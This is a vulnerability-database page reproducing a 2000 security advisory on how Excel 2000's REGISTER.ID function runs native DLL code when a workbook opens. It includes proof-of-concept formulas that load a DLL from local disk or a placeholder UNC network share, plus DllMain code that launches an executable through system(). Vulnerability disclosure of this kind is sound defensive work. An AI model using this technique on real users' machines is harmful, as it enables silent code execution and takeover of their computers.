Lucene search
K

excel2000-exec.txt

🗓️ 13 Jul 2000 00:00:00Reported by Georgi GuninskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Excel 2000 vulnerability allows malicious code execution via specially crafted Excel files.

Code
`Georgi Guninski security advisory #15, 2000  
  
Excel 2000 vulnerability - executing programs  
  
Systems affected: Excel 2000/Win98 - almost sure other versions/OSes,  
have not tested  
Risk: High  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski  
is not liable for any damages caused by direct or indirect use of the  
information or functionality provided by this program.  
Georgi Guninski, bears NO responsibility for content or misuse of this  
program or any derivatives thereof.  
  
Description:  
Excel 2000/Windows 98 (suppose other versions are also vulnerable, have  
not tested)  
allows executing programs when opening an Excel Workbook (.xls file).  
This may be also be exploited thru IE or Outlook.  
This may lead to taking full control over user's computer.  
  
Details:  
  
The problem is the REGISTER.ID Excel function. It allows executing  
native code from a DLL - at least the DllMain() function.  
Note: this has nothing to do with VBA code - the code being executed is  
native code from a DLL.  
In order the exploit to work the user must be able to access a specially  
designed DLL, residing either on the local disk or on a UNC share.  
  
The code is:  
  
-------dll3.xls--------------------------------------------  
=REGISTER.ID("C:\DLL1.DLL";"dllmain";"a")  
=REGISTER.ID("\\UNC\SHARE\DLL1.DLL";"dllmain";"a")  
-----------------------------------------------------------  
  
-------dll1.cpp--------------------------------------------  
BOOL APIENTRY DllMain( HANDLE hModule,  
DWORD ul_reason_for_call,  
LPVOID lpReserved  
)  
{  
switch( ul_reason_for_call )  
{  
case DLL_PROCESS_ATTACH:  
// Initialize once for each new process.  
// Return FALSE to fail DLL load.  
// Note: For NT/2000 you may need to move the following code  
outside the switch()  
MessageBox(NULL, "Hello world!", "Info", MB_OK);  
MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to  
create it.", "Info", MB_OK);  
system("C:\\TEST.EXE");  
break;  
......  
---------------------------------------------------  
  
Demonstration is available at: http://www.nat.bg/~joro/excel2.html  
  
Copyright 2000 Georgi Guninski  
  
Regards,  
Georgi Guninski  
http://www.nat.bg/~joro  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation